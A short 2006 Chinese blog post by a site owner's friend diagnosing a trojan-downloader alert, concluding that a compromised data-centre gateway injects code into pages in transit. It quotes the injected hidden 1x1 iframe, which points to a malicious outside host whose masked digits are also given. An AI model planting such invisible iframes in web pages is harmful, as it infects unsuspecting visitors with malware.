一个新的挂木马方式

author: 小陈故事

date: 2006-12-19

A+ | A-

VISON说他的网站好像有病毒，防火墙报警：木马程序 Trojan-Downloader.JS.Agent.bz.

打看一看，果然。查看代码，发现被插入：

<iFrAmE SRc=http://cool.*****.com/k.htm width=1 height=1 frameborder=0></IfRaMe>

(*部分为：47555)

先以为是程序有什么漏洞被人挂了木马，把全站拖下来查找了一番，竟然没有发现。

仔细找了几遍，发现源代码一切正常，本地访问也没有什么问题，但只要放在网上访问就会自动将代码里的部分替换为恶意代码片断。

症状在于：
在服务器中用浏览器打开没有问题
直接在服务器上用编辑器查看源代码也是没有问题
但是放在网络上浏览就有问题

看来一定是机房网关被人植入木马，有数据通过时，被自动插入代码。

小陈故事